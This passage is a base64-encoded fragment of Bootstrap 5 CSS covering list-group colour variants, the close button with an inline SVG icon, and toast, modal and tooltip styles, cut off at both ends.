ZWNvbmRhcnkubGlzdC1ncm91cC1pdGVtLWFjdGlvbi5hY3RpdmV7Y29sb3I6I2ZmZjtiYWNrZ3JvdW5kLWNvbG9yOiM0MTQ2NGI7Ym9yZGVyLWNvbG9yOiM0MTQ2NGJ9Lmxpc3QtZ3JvdXAtaXRlbS1zdWNjZXNze2NvbG9yOiMwZjUxMzI7YmFja2dyb3VuZC1jb2xvcjojZDFlN2RkfS5saXN0LWdyb3VwLWl0ZW0tc3VjY2Vzcy5saXN0LWdyb3VwLWl0ZW0tYWN0aW9uOmZvY3VzLC5saXN0LWdyb3VwLWl0ZW0tc3VjY2Vzcy5saXN0LWdyb3VwLWl0ZW0tYWN0aW9uOmhvdmVye2NvbG9yOiMwZjUxMzI7YmFja2dyb3VuZC1jb2xvcjojYmNkMGM3fS5saXN0LWdyb3VwLWl0ZW0tc3VjY2Vzcy5saXN0LWdyb3VwLWl0ZW0tYWN0aW9uLmFjdGl2ZXtjb2xvcjojZmZmO2JhY2tncm91bmQtY29sb3I6IzBmNTEzMjtib3JkZXItY29sb3I6IzBmNTEzMn0ubGlzdC1ncm91cC1pdGVtLWluZm97Y29sb3I6IzA1NTE2MDtiYWNrZ3JvdW5kLWNvbG9yOiNjZmY0ZmN9Lmxpc3QtZ3JvdXAtaXRlbS1pbmZvLmxpc3QtZ3JvdXAtaXRlbS1hY3Rpb246Zm9jdXMsLmxpc3QtZ3JvdXAtaXRlbS1pbmZvLmxpc3QtZ3JvdXAtaXRlbS1hY3Rpb246aG92ZXJ7Y29sb3I6IzA1NTE2MDtiYWNrZ3JvdW5kLWNvbG9yOiNiYWRjZTN9Lmxpc3QtZ3JvdXAtaXRlbS1pbmZvLmxpc3QtZ3JvdXAtaXRlbS1hY3Rpb24uYWN0aXZle2NvbG9yOiNmZmY7YmFja2dyb3VuZC1jb2xvcjojMDU1MTYwO2JvcmRlci1jb2xvcjojMDU1MTYwfS5saXN0LWdyb3VwLWl0ZW0td2FybmluZ3tjb2xvcjojNjY0ZDAzO2JhY2tncm91bmQtY29sb3I6I2ZmZjNjZH0ubGlzdC1ncm91cC1pdGVtLXdhcm5pbmcubGlzdC1ncm91cC1pdGVtLWFjdGlvbjpmb2N1cywubGlzdC1ncm91cC1pdGVtLXdhcm5pbmcubGlzdC1ncm91cC1pdGVtLWFjdGlvbjpob3Zlcntjb2xvcjojNjY0ZDAzO2JhY2tncm91bmQtY29sb3I6I2U2ZGJiOX0ubGlzdC1ncm91cC1pdGVtLXdhcm5pbmcubGlzdC1ncm91cC1pdGVtLWFjdGlvbi5hY3RpdmV7Y29sb3I6I2ZmZjtiYWNrZ3JvdW5kLWNvbG9yOiM2NjRkMDM7Ym9yZGVyLWNvbG9yOiM2NjRkMDN9Lmxpc3QtZ3JvdXAtaXRlbS1kYW5nZXJ7Y29sb3I6Izg0MjAyOTtiYWNrZ3JvdW5kLWNvbG9yOiNmOGQ3ZGF9Lmxpc3QtZ3JvdXAtaXRlbS1kYW5nZXIubGlzdC1ncm91cC1pdGVtLWFjdGlvbjpmb2N1cywubGlzdC1ncm91cC1pdGVtLWRhbmdlci5saXN0LWdyb3VwLWl0ZW0tYWN0aW9uOmhvdmVye2NvbG9yOiM4NDIwMjk7YmFja2dyb3VuZC1jb2xvcjojZGZjMmM0fS5saXN0LWdyb3VwLWl0ZW0tZGFuZ2VyLmxpc3QtZ3JvdXAtaXRlbS1hY3Rpb24uYWN0aXZle2NvbG9yOiNmZmY7YmFja2dyb3VuZC1jb2xvcjojODQyMDI5O2JvcmRlci1jb2xvcjojODQyMDI5fS5saXN0LWdyb3VwLWl0ZW0tbGlnaHR7Y29sb3I6IzYzNjQ2NDtiYWNrZ3JvdW5kLWNvbG9yOiNmZWZlZmV9Lmxpc3QtZ3JvdXAtaXRlbS1saWdodC5saXN0LWdyb3VwLWl0ZW0tYWN0aW9uOmZvY3VzLC5saXN0LWdyb3VwLWl0ZW0tbGlnaHQubGlzdC1ncm91cC1pdGVtLWFjdGlvbjpob3Zlcntjb2xvcjojNjM2NDY0O2JhY2tncm91bmQtY29sb3I6I2U1ZTVlNX0ubGlzdC1ncm91cC1pdGVtLWxpZ2h0Lmxpc3QtZ3JvdXAtaXRlbS1hY3Rpb24uYWN0aXZle2NvbG9yOiNmZmY7YmFja2dyb3VuZC1jb2xvcjojNjM2NDY0O2JvcmRlci1jb2xvcjojNjM2NDY0fS5saXN0LWdyb3VwLWl0ZW0tZGFya3tjb2xvcjojMTQxNjE5O2JhY2tncm91bmQtY29sb3I6I2QzZDNkNH0ubGlzdC1ncm91cC1pdGVtLWRhcmsubGlzdC1ncm91cC1pdGVtLWFjdGlvbjpmb2N1cywubGlzdC1ncm91cC1pdGVtLWRhcmsubGlzdC1ncm91cC1pdGVtLWFjdGlvbjpob3Zlcntjb2xvcjojMTQxNjE5O2JhY2tncm91bmQtY29sb3I6I2JlYmViZn0ubGlzdC1ncm91cC1pdGVtLWRhcmsubGlzdC1ncm91cC1pdGVtLWFjdGlvbi5hY3RpdmV7Y29sb3I6I2ZmZjtiYWNrZ3JvdW5kLWNvbG9yOiMxNDE2MTk7Ym9yZGVyLWNvbG9yOiMxNDE2MTl9LmJ0bi1jbG9zZXtib3gtc2l6aW5nOmNvbnRlbnQtYm94O3dpZHRoOjFlbTtoZWlnaHQ6MWVtO3BhZGRpbmc6LjI1ZW0gLjI1ZW07Y29sb3I6IzAwMDtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50IHVybCgiZGF0YTppbWFnZS9zdmcreG1sLCUzY3N2ZyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnIHZpZXdCb3g9JzAgMCAxNiAxNicgZmlsbD0nJTIzMDAwJyUzZSUzY3BhdGggZD0nTS4yOTMuMjkzYTEgMSAwIDAgMSAxLjQxNCAwTDggNi41ODYgMTQuMjkzLjI5M2ExIDEgMCAxIDEgMS40MTQgMS40MTRMOS40MTQgOGw2LjI5MyA2LjI5M2ExIDEgMCAwIDEtMS40MTQgMS40MTRMOCA5LjQxNGwtNi4yOTMgNi4yOTNhMSAxIDAgMCAxLTEuNDE0LTEuNDE0TDYuNTg2IDggLjI5MyAxLjcwN2ExIDEgMCAwIDEgMC0xLjQxNHonLyUzZSUzYy9zdmclM2UiKSBjZW50ZXIvMWVtIGF1dG8gbm8tcmVwZWF0O2JvcmRlcjowO2JvcmRlci1yYWRpdXM6LjM3NXJlbTtvcGFjaXR5Oi41fS5idG4tY2xvc2U6aG92ZXJ7Y29sb3I6IzAwMDt0ZXh0LWRlY29yYXRpb246bm9uZTtvcGFjaXR5Oi43NX0uYnRuLWNsb3NlOmZvY3Vze291dGxpbmU6MDtib3gtc2hhZG93OjAgMCAwIC4yNXJlbSByZ2JhKDEzLDExMCwyNTMsLjI1KTtvcGFjaXR5OjF9LmJ0bi1jbG9zZS5kaXNhYmxlZCwuYnRuLWNsb3NlOmRpc2FibGVke3BvaW50ZXItZXZlbnRzOm5vbmU7LXdlYmtpdC11c2VyLXNlbGVjdDpub25lOy1tb3otdXNlci1zZWxlY3Q6bm9uZTt1c2VyLXNlbGVjdDpub25lO29wYWNpdHk6LjI1fS5idG4tY2xvc2Utd2hpdGV7ZmlsdGVyOmludmVydCgxKSBncmF5c2NhbGUoMTAwJSkgYnJpZ2h0bmVzcygyMDAlKX0udG9hc3R7LS1icy10b2FzdC16aW5kZXg6MTA5MDstLWJzLXRvYXN0LXBhZGRpbmcteDowLjc1cmVtOy0tYnMtdG9hc3QtcGFkZGluZy15OjAuNXJlbTstLWJzLXRvYXN0LXNwYWNpbmc6MS41cmVtOy0tYnMtdG9hc3QtbWF4LXdpZHRoOjM1MHB4Oy0tYnMtdG9hc3QtZm9udC1zaXplOjAuODc1cmVtOy0tYnMtdG9hc3QtY29sb3I6IDstLWJzLXRvYXN0LWJnOnJnYmEoMjU1LCAyNTUsIDI1NSwgMC44NSk7LS1icy10b2FzdC1ib3JkZXItd2lkdGg6MXB4Oy0tYnMtdG9hc3QtYm9yZGVyLWNvbG9yOnZhcigtLWJzLWJvcmRlci1jb2xvci10cmFuc2x1Y2VudCk7LS1icy10b2FzdC1ib3JkZXItcmFkaXVzOjAuMzc1cmVtOy0tYnMtdG9hc3QtYm94LXNoYWRvdzowIDAuNXJlbSAxcmVtIHJnYmEoMCwgMCwgMCwgMC4xNSk7LS1icy10b2FzdC1oZWFkZXItY29sb3I6IzZjNzU3ZDstLWJzLXRvYXN0LWhlYWRlci1iZzpyZ2JhKDI1NSwgMjU1LCAyNTUsIDAuODUpOy0tYnMtdG9hc3QtaGVhZGVyLWJvcmRlci1jb2xvcjpyZ2JhKDAsIDAsIDAsIDAuMDUpO3dpZHRoOnZhcigtLWJzLXRvYXN0LW1heC13aWR0aCk7bWF4LXdpZHRoOjEwMCU7Zm9udC1zaXplOnZhcigtLWJzLXRvYXN0LWZvbnQtc2l6ZSk7Y29sb3I6dmFyKC0tYnMtdG9hc3QtY29sb3IpO3BvaW50ZXItZXZlbnRzOmF1dG87YmFja2dyb3VuZC1jb2xvcjp2YXIoLS1icy10b2FzdC1iZyk7YmFja2dyb3VuZC1jbGlwOnBhZGRpbmctYm94O2JvcmRlcjp2YXIoLS1icy10b2FzdC1ib3JkZXItd2lkdGgpIHNvbGlkIHZhcigtLWJzLXRvYXN0LWJvcmRlci1jb2xvcik7Ym94LXNoYWRvdzp2YXIoLS1icy10b2FzdC1ib3gtc2hhZG93KTtib3JkZXItcmFkaXVzOnZhcigtLWJzLXRvYXN0LWJvcmRlci1yYWRpdXMpfS50b2FzdC5zaG93aW5ne29wYWNpdHk6MH0udG9hc3Q6bm90KC5zaG93KXtkaXNwbGF5Om5vbmV9LnRvYXN0LWNvbnRhaW5lcnstLWJzLXRvYXN0LXppbmRleDoxMDkwO3Bvc2l0aW9uOmFic29sdXRlO3otaW5kZXg6dmFyKC0tYnMtdG9hc3QtemluZGV4KTt3aWR0aDotd2Via2l0LW1heC1jb250ZW50O3dpZHRoOi1tb3otbWF4LWNvbnRlbnQ7d2lkdGg6bWF4LWNvbnRlbnQ7bWF4LXdpZHRoOjEwMCU7cG9pbnRlci1ldmVudHM6bm9uZX0udG9hc3QtY29udGFpbmVyPjpub3QoOmxhc3QtY2hpbGQpe21hcmdpbi1ib3R0b206dmFyKC0tYnMtdG9hc3Qtc3BhY2luZyl9LnRvYXN0LWhlYWRlcntkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO3BhZGRpbmc6dmFyKC0tYnMtdG9hc3QtcGFkZGluZy15KSB2YXIoLS1icy10b2FzdC1wYWRkaW5nLXgpO2NvbG9yOnZhcigtLWJzLXRvYXN0LWhlYWRlci1jb2xvcik7YmFja2dyb3VuZC1jb2xvcjp2YXIoLS1icy10b2FzdC1oZWFkZXItYmcpO2JhY2tncm91bmQtY2xpcDpwYWRkaW5nLWJveDtib3JkZXItYm90dG9tOnZhcigtLWJzLXRvYXN0LWJvcmRlci13aWR0aCkgc29saWQgdmFyKC0tYnMtdG9hc3QtaGVhZGVyLWJvcmRlci1jb2xvcik7Ym9yZGVyLXRvcC1sZWZ0LXJhZGl1czpjYWxjKHZhcigtLWJzLXRvYXN0LWJvcmRlci1yYWRpdXMpIC0gdmFyKC0tYnMtdG9hc3QtYm9yZGVyLXdpZHRoKSk7Ym9yZGVyLXRvcC1yaWdodC1yYWRpdXM6Y2FsYyh2YXIoLS1icy10b2FzdC1ib3JkZXItcmFkaXVzKSAtIHZhcigtLWJzLXRvYXN0LWJvcmRlci13aWR0aCkpfS50b2FzdC1oZWFkZXIgLmJ0bi1jbG9zZXttYXJnaW4tcmlnaHQ6Y2FsYygtLjUgKiB2YXIoLS1icy10b2FzdC1wYWRkaW5nLXgpKTttYXJnaW4tbGVmdDp2YXIoLS1icy10b2FzdC1wYWRkaW5nLXgpfS50b2FzdC1ib2R5e3BhZGRpbmc6dmFyKC0tYnMtdG9hc3QtcGFkZGluZy14KTt3b3JkLXdyYXA6YnJlYWstd29yZH0ubW9kYWx7LS1icy1tb2RhbC16aW5kZXg6MTA1NTstLWJzLW1vZGFsLXdpZHRoOjUwMHB4Oy0tYnMtbW9kYWwtcGFkZGluZzoxcmVtOy0tYnMtbW9kYWwtbWFyZ2luOjAuNXJlbTstLWJzLW1vZGFsLWNvbG9yOiA7LS1icy1tb2RhbC1iZzojZmZmOy0tYnMtbW9kYWwtYm9yZGVyLWNvbG9yOnZhcigtLWJzLWJvcmRlci1jb2xvci10cmFuc2x1Y2VudCk7LS1icy1tb2RhbC1ib3JkZXItd2lkdGg6MXB4Oy0tYnMtbW9kYWwtYm9yZGVyLXJhZGl1czowLjVyZW07LS1icy1tb2RhbC1ib3gtc2hhZG93OjAgMC4xMjVyZW0gMC4yNXJlbSByZ2JhKDAsIDAsIDAsIDAuMDc1KTstLWJzLW1vZGFsLWlubmVyLWJvcmRlci1yYWRpdXM6Y2FsYygwLjVyZW0gLSAxcHgpOy0tYnMtbW9kYWwtaGVhZGVyLXBhZGRpbmcteDoxcmVtOy0tYnMtbW9kYWwtaGVhZGVyLXBhZGRpbmcteToxcmVtOy0tYnMtbW9kYWwtaGVhZGVyLXBhZGRpbmc6MXJlbSAxcmVtOy0tYnMtbW9kYWwtaGVhZGVyLWJvcmRlci1jb2xvcjp2YXIoLS1icy1ib3JkZXItY29sb3IpOy0tYnMtbW9kYWwtaGVhZGVyLWJvcmRlci13aWR0aDoxcHg7LS1icy1tb2RhbC10aXRsZS1saW5lLWhlaWdodDoxLjU7LS1icy1tb2RhbC1mb290ZXItZ2FwOjAuNXJlbTstLWJzLW1vZGFsLWZvb3Rlci1iZzogOy0tYnMtbW9kYWwtZm9vdGVyLWJvcmRlci1jb2xvcjp2YXIoLS1icy1ib3JkZXItY29sb3IpOy0tYnMtbW9kYWwtZm9vdGVyLWJvcmRlci13aWR0aDoxcHg7cG9zaXRpb246Zml4ZWQ7dG9wOjA7bGVmdDowO3otaW5kZXg6dmFyKC0tYnMtbW9kYWwtemluZGV4KTtkaXNwbGF5Om5vbmU7d2lkdGg6MTAwJTtoZWlnaHQ6MTAwJTtvdmVyZmxvdy14OmhpZGRlbjtvdmVyZmxvdy15OmF1dG87b3V0bGluZTowfS5tb2RhbC1kaWFsb2d7cG9zaXRpb246cmVsYXRpdmU7d2lkdGg6YXV0bzttYXJnaW46dmFyKC0tYnMtbW9kYWwtbWFyZ2luKTtwb2ludGVyLWV2ZW50czpub25lfS5tb2RhbC5mYWRlIC5tb2RhbC1kaWFsb2d7dHJhbnNpdGlvbjp0cmFuc2Zvcm0gLjNzIGVhc2Utb3V0O3RyYW5zZm9ybTp0cmFuc2xhdGUoMCwtNTBweCl9QG1lZGlhIChwcmVmZXJzLXJlZHVjZWQtbW90aW9uOnJlZHVjZSl7Lm1vZGFsLmZhZGUgLm1vZGFsLWRpYWxvZ3t0cmFuc2l0aW9uOm5vbmV9fS5tb2RhbC5zaG93IC5tb2RhbC1kaWFsb2d7dHJhbnNmb3JtOm5vbmV9Lm1vZGFsLm1vZGFsLXN0YXRpYyAubW9kYWwtZGlhbG9ne3RyYW5zZm9ybTpzY2FsZSgxLjAyKX0ubW9kYWwtZGlhbG9nLXNjcm9sbGFibGV7aGVpZ2h0OmNhbGMoMTAwJSAtIHZhcigtLWJzLW1vZGFsLW1hcmdpbikgKiAyKX0ubW9kYWwtZGlhbG9nLXNjcm9sbGFibGUgLm1vZGFsLWNvbnRlbnR7bWF4LWhlaWdodDoxMDAlO292ZXJmbG93OmhpZGRlbn0ubW9kYWwtZGlhbG9nLXNjcm9sbGFibGUgLm1vZGFsLWJvZHl7b3ZlcmZsb3cteTphdXRvfS5tb2RhbC1kaWFsb2ctY2VudGVyZWR7ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjttaW4taGVpZ2h0OmNhbGMoMTAwJSAtIHZhcigtLWJzLW1vZGFsLW1hcmdpbikgKiAyKX0ubW9kYWwtY29udGVudHtwb3NpdGlvbjpyZWxhdGl2ZTtkaXNwbGF5OmZsZXg7ZmxleC1kaXJlY3Rpb246Y29sdW1uO3dpZHRoOjEwMCU7Y29sb3I6dmFyKC0tYnMtbW9kYWwtY29sb3IpO3BvaW50ZXItZXZlbnRzOmF1dG87YmFja2dyb3VuZC1jb2xvcjp2YXIoLS1icy1tb2RhbC1iZyk7YmFja2dyb3VuZC1jbGlwOnBhZGRpbmctYm94O2JvcmRlcjp2YXIoLS1icy1tb2RhbC1ib3JkZXItd2lkdGgpIHNvbGlkIHZhcigtLWJzLW1vZGFsLWJvcmRlci1jb2xvcik7Ym9yZGVyLXJhZGl1czp2YXIoLS1icy1tb2RhbC1ib3JkZXItcmFkaXVzKTtvdXRsaW5lOjB9Lm1vZGFsLWJhY2tkcm9wey0tYnMtYmFja2Ryb3AtemluZGV4OjEwNTA7LS1icy1iYWNrZHJvcC1iZzojMDAwOy0tYnMtYmFja2Ryb3Atb3BhY2l0eTowLjU7cG9zaXRpb246Zml4ZWQ7dG9wOjA7bGVmdDowO3otaW5kZXg6dmFyKC0tYnMtYmFja2Ryb3AtemluZGV4KTt3aWR0aDoxMDB2dztoZWlnaHQ6MTAwdmg7YmFja2dyb3VuZC1jb2xvcjp2YXIoLS1icy1iYWNrZHJvcC1iZyl9Lm1vZGFsLWJhY2tkcm9wLmZhZGV7b3BhY2l0eTowfS5tb2RhbC1iYWNrZHJvcC5zaG93e29wYWNpdHk6dmFyKC0tYnMtYmFja2Ryb3Atb3BhY2l0eSl9Lm1vZGFsLWhlYWRlcntkaXNwbGF5OmZsZXg7ZmxleC1zaHJpbms6MDthbGlnbi1pdGVtczpjZW50ZXI7anVzdGlmeS1jb250ZW50OnNwYWNlLWJldHdlZW47cGFkZGluZzp2YXIoLS1icy1tb2RhbC1oZWFkZXItcGFkZGluZyk7Ym9yZGVyLWJvdHRvbTp2YXIoLS1icy1tb2RhbC1oZWFkZXItYm9yZGVyLXdpZHRoKSBzb2xpZCB2YXIoLS1icy1tb2RhbC1oZWFkZXItYm9yZGVyLWNvbG9yKTtib3JkZXItdG9wLWxlZnQtcmFkaXVzOnZhcigtLWJzLW1vZGFsLWlubmVyLWJvcmRlci1yYWRpdXMpO2JvcmRlci10b3AtcmlnaHQtcmFkaXVzOnZhcigtLWJzLW1vZGFsLWlubmVyLWJvcmRlci1yYWRpdXMpfS5tb2RhbC1oZWFkZXIgLmJ0bi1jbG9zZXtwYWRkaW5nOmNhbGModmFyKC0tYnMtbW9kYWwtaGVhZGVyLXBhZGRpbmcteSkgKiAuNSkgY2FsYyh2YXIoLS1icy1tb2RhbC1oZWFkZXItcGFkZGluZy14KSAqIC41KTttYXJnaW46Y2FsYygtLjUgKiB2YXIoLS1icy1tb2RhbC1oZWFkZXItcGFkZGluZy15KSkgY2FsYygtLjUgKiB2YXIoLS1icy1tb2RhbC1oZWFkZXItcGFkZGluZy14KSkgY2FsYygtLjUgKiB2YXIoLS1icy1tb2RhbC1oZWFkZXItcGFkZGluZy15KSkgYXV0b30ubW9kYWwtdGl0bGV7bWFyZ2luLWJvdHRvbTowO2xpbmUtaGVpZ2h0OnZhcigtLWJzLW1vZGFsLXRpdGxlLWxpbmUtaGVpZ2h0KX0ubW9kYWwtYm9keXtwb3NpdGlvbjpyZWxhdGl2ZTtmbGV4OjEgMSBhdXRvO3BhZGRpbmc6dmFyKC0tYnMtbW9kYWwtcGFkZGluZyl9Lm1vZGFsLWZvb3RlcntkaXNwbGF5OmZsZXg7ZmxleC1zaHJpbms6MDtmbGV4LXdyYXA6d3JhcDthbGlnbi1pdGVtczpjZW50ZXI7anVzdGlmeS1jb250ZW50OmZsZXgtZW5kO3BhZGRpbmc6Y2FsYyh2YXIoLS1icy1tb2RhbC1wYWRkaW5nKSAtIHZhcigtLWJzLW1vZGFsLWZvb3Rlci1nYXApICogLjUpO2JhY2tncm91bmQtY29sb3I6dmFyKC0tYnMtbW9kYWwtZm9vdGVyLWJnKTtib3JkZXItdG9wOnZhcigtLWJzLW1vZGFsLWZvb3Rlci1ib3JkZXItd2lkdGgpIHNvbGlkIHZhcigtLWJzLW1vZGFsLWZvb3Rlci1ib3JkZXItY29sb3IpO2JvcmRlci1ib3R0b20tcmlnaHQtcmFkaXVzOnZhcigtLWJzLW1vZGFsLWlubmVyLWJvcmRlci1yYWRpdXMpO2JvcmRlci1ib3R0b20tbGVmdC1yYWRpdXM6dmFyKC0tYnMtbW9kYWwtaW5uZXItYm9yZGVyLXJhZGl1cyl9Lm1vZGFsLWZvb3Rlcj4qe21hcmdpbjpjYWxjKHZhcigtLWJzLW1vZGFsLWZvb3Rlci1nYXApICogLjUpfUBtZWRpYSAobWluLXdpZHRoOjU3NnB4KXsubW9kYWx7LS1icy1tb2RhbC1tYXJnaW46MS43NXJlbTstLWJzLW1vZGFsLWJveC1zaGFkb3c6MCAwLjVyZW0gMXJlbSByZ2JhKDAsIDAsIDAsIDAuMTUpfS5tb2RhbC1kaWFsb2d7bWF4LXdpZHRoOnZhcigtLWJzLW1vZGFsLXdpZHRoKTttYXJnaW4tcmlnaHQ6YXV0bzttYXJnaW4tbGVmdDphdXRvfS5tb2RhbC1zbXstLWJzLW1vZGFsLXdpZHRoOjMwMHB4fX1AbWVkaWEgKG1pbi13aWR0aDo5OTJweCl7Lm1vZGFsLWxnLC5tb2RhbC14bHstLWJzLW1vZGFsLXdpZHRoOjgwMHB4fX1AbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpey5tb2RhbC14bHstLWJzLW1vZGFsLXdpZHRoOjExNDBweH19Lm1vZGFsLWZ1bGxzY3JlZW57d2lkdGg6MTAwdnc7bWF4LXdpZHRoOm5vbmU7aGVpZ2h0OjEwMCU7bWFyZ2luOjB9Lm1vZGFsLWZ1bGxzY3JlZW4gLm1vZGFsLWNvbnRlbnR7aGVpZ2h0OjEwMCU7Ym9yZGVyOjA7Ym9yZGVyLXJhZGl1czowfS5tb2RhbC1mdWxsc2NyZWVuIC5tb2RhbC1mb290ZXIsLm1vZGFsLWZ1bGxzY3JlZW4gLm1vZGFsLWhlYWRlcntib3JkZXItcmFkaXVzOjB9Lm1vZGFsLWZ1bGxzY3JlZW4gLm1vZGFsLWJvZHl7b3ZlcmZsb3cteTphdXRvfUBtZWRpYSAobWF4LXdpZHRoOjU3NS45OHB4KXsubW9kYWwtZnVsbHNjcmVlbi1zbS1kb3due3dpZHRoOjEwMHZ3O21heC13aWR0aDpub25lO2hlaWdodDoxMDAlO21hcmdpbjowfS5tb2RhbC1mdWxsc2NyZWVuLXNtLWRvd24gLm1vZGFsLWNvbnRlbnR7aGVpZ2h0OjEwMCU7Ym9yZGVyOjA7Ym9yZGVyLXJhZGl1czowfS5tb2RhbC1mdWxsc2NyZWVuLXNtLWRvd24gLm1vZGFsLWZvb3RlciwubW9kYWwtZnVsbHNjcmVlbi1zbS1kb3duIC5tb2RhbC1oZWFkZXJ7Ym9yZGVyLXJhZGl1czowfS5tb2RhbC1mdWxsc2NyZWVuLXNtLWRvd24gLm1vZGFsLWJvZHl7b3ZlcmZsb3cteTphdXRvfX1AbWVkaWEgKG1heC13aWR0aDo3NjcuOThweCl7Lm1vZGFsLWZ1bGxzY3JlZW4tbWQtZG93bnt3aWR0aDoxMDB2dzttYXgtd2lkdGg6bm9uZTtoZWlnaHQ6MTAwJTttYXJnaW46MH0ubW9kYWwtZnVsbHNjcmVlbi1tZC1kb3duIC5tb2RhbC1jb250ZW50e2hlaWdodDoxMDAlO2JvcmRlcjowO2JvcmRlci1yYWRpdXM6MH0ubW9kYWwtZnVsbHNjcmVlbi1tZC1kb3duIC5tb2RhbC1mb290ZXIsLm1vZGFsLWZ1bGxzY3JlZW4tbWQtZG93biAubW9kYWwtaGVhZGVye2JvcmRlci1yYWRpdXM6MH0ubW9kYWwtZnVsbHNjcmVlbi1tZC1kb3duIC5tb2RhbC1ib2R5e292ZXJmbG93LXk6YXV0b319QG1lZGlhIChtYXgtd2lkdGg6OTkxLjk4cHgpey5tb2RhbC1mdWxsc2NyZWVuLWxnLWRvd257d2lkdGg6MTAwdnc7bWF4LXdpZHRoOm5vbmU7aGVpZ2h0OjEwMCU7bWFyZ2luOjB9Lm1vZGFsLWZ1bGxzY3JlZW4tbGctZG93biAubW9kYWwtY29udGVudHtoZWlnaHQ6MTAwJTtib3JkZXI6MDtib3JkZXItcmFkaXVzOjB9Lm1vZGFsLWZ1bGxzY3JlZW4tbGctZG93biAubW9kYWwtZm9vdGVyLC5tb2RhbC1mdWxsc2NyZWVuLWxnLWRvd24gLm1vZGFsLWhlYWRlcntib3JkZXItcmFkaXVzOjB9Lm1vZGFsLWZ1bGxzY3JlZW4tbGctZG93biAubW9kYWwtYm9keXtvdmVyZmxvdy15OmF1dG99fUBtZWRpYSAobWF4LXdpZHRoOjExOTkuOThweCl7Lm1vZGFsLWZ1bGxzY3JlZW4teGwtZG93bnt3aWR0aDoxMDB2dzttYXgtd2lkdGg6bm9uZTtoZWlnaHQ6MTAwJTttYXJnaW46MH0ubW9kYWwtZnVsbHNjcmVlbi14bC1kb3duIC5tb2RhbC1jb250ZW50e2hlaWdodDoxMDAlO2JvcmRlcjowO2JvcmRlci1yYWRpdXM6MH0ubW9kYWwtZnVsbHNjcmVlbi14bC1kb3duIC5tb2RhbC1mb290ZXIsLm1vZGFsLWZ1bGxzY3JlZW4teGwtZG93biAubW9kYWwtaGVhZGVye2JvcmRlci1yYWRpdXM6MH0ubW9kYWwtZnVsbHNjcmVlbi14bC1kb3duIC5tb2RhbC1ib2R5e292ZXJmbG93LXk6YXV0b319QG1lZGlhIChtYXgtd2lkdGg6MTM5OS45OHB4KXsubW9kYWwtZnVsbHNjcmVlbi14eGwtZG93bnt3aWR0aDoxMDB2dzttYXgtd2lkdGg6bm9uZTtoZWlnaHQ6MTAwJTttYXJnaW46MH0ubW9kYWwtZnVsbHNjcmVlbi14eGwtZG93biAubW9kYWwtY29udGVudHtoZWlnaHQ6MTAwJTtib3JkZXI6MDtib3JkZXItcmFkaXVzOjB9Lm1vZGFsLWZ1bGxzY3JlZW4teHhsLWRvd24gLm1vZGFsLWZvb3RlciwubW9kYWwtZnVsbHNjcmVlbi14eGwtZG93biAubW9kYWwtaGVhZGVye2JvcmRlci1yYWRpdXM6MH0ubW9kYWwtZnVsbHNjcmVlbi14eGwtZG93biAubW9kYWwtYm9keXtvdmVyZmxvdy15OmF1dG99fS50b29sdGlwey0tYnMtdG9vbHRpcC16aW5kZXg6MTA4MDstLWJzLXRvb2x0aXAtbWF4LXdpZHRoOjIwMHB4Oy0tYnMtdG9vbHRpcC1wYWRkaW5nLXg6MC41cmVtOy0tYnMtdG9vbHRpcC1wYWRkaW5nLXk6MC4yNXJlbTstLWJzLXRvb2x0aXAtbWFyZ2luOiA7LS1icy10b29sdGlwLWZvbnQtc2l6ZTowLjg3NXJlbTstLWJzLXRvb2x0aXAtY29sb3I6I2ZmZjstLWJzLXRvb2x0aXAtYmc6IzAwMDstLWJzLXRvb2x0aXAtYm9yZGVyLXJhZGl1czowLjM3NXJlbTstLWJzLXRvb2x0aXAtb3BhY2l0eTowLjk7LS1icy10b29sdGlwLWFycm93LXdpZHRoOjAuOHJlbTstLWJzLXRvb2x0aXAtYXJyb3ctaGVpZ2h0OjAuNHJlbTt6LWluZGV4OnZhcigtLWJzLXRvb2x0aXAtemluZGV4KTtkaXNwbGF5OmJsb2NrO3BhZGRpbmc6dmFyKC0tYnMtdG9vbHRpcC1hcnJvdy1oZWlnaHQpO21hcmdpbjp2YXIoLS1icy10b29sdGlwLW1hcmdpbik7Zm9udC1mYW1pbHk6dmFyKC0tYnMtZm9udC1zYW5zLXNlcmlmKTtmb250LXN0eWxlOm5vcm1hbDtmb250LXdlaWdodDo0MDA7bGluZS1oZWlnaHQ6MS41O3RleHQtYWxpZ246bGVmdDt0ZXh0LWFsaWduOnN0YXJ0O3RleHQtZGVjb3JhdGlvbjpub25lO3RleHQtc2hhZG93Om5vbmU7dGV4dC10cmFuc2Zvcm06bm9uZTtsZXR0ZXItc3BhY2luZzpub3JtYWw7d29yZC1icmVhazpub3JtYWw7d2hpdGUtc3BhY2U6bm9ybWFsO3dvcmQtc3BhY2luZzpub3JtYWw7bGluZS1icmVhazphdXRvO2ZvbnQtc2l6ZTp2YXIoLS1icy10b29sdGlwLWZvbnQtc2l6ZSk7d29yZC13cmFwOmJyZWFrLXdvcmQ7b3BhY2l0eTowfS50b29sdGlwLnNob3d7b3BhY2l0eTp2YXIoLS1icy10b29sdGlwLW9wYWNpdHkpfS50b29sdGlwIC50b29sdGlwLWFycm93e2Rpc3BsYXk6YmxvY2s7d2lkdGg6dmFyKC0tYnMtdG9vbHRpcC1hcnJvdy13aWR0aCk7aGVpZ2h0OnZhcigtLWJzLXRvb2x0aXAtYXJyb3ctaGVpZ2h0KX0udG9vbHRpcCAudG9vbHRpcC1hcnJvdzo6YmVmb3Jle3Bvc2l0aW9uOmFic29sdXRlO2NvbnRlbnQ6IiI7Ym9yZGVyLWNvbG9yOnRyYW5zcGFyZW50O2JvcmRlci1zdHlsZTpzb2xpZH0uYnMtdG9vbHRpcC1hdXRvW2RhdGEtcG9wcGVyLXBsYWNlbWVudF49dG9wXSAudG9vbHRpcC1hcnJvdywuYnMtdG9vbHRpcC10b3AgLnRvb2x0aXAtYXJyb3d7Ym90dG9tOjB9LmJzLXRvb2x0aXAtYXV0b1tkYXRhLXBvcHBlci1wbGFjZW1lbnRePXRvcF0gLnRvb2x0aXAtYXJyb3c6OmJlZm9yZSwuYnMtdG9vbHRpcC10b3AgLnRvb2x0aXAtYXJyb3c6OmJlZm9yZXt0b3A6LTFweDtib3JkZXItd2lkdGg6dmFyKC0tYnMtdG9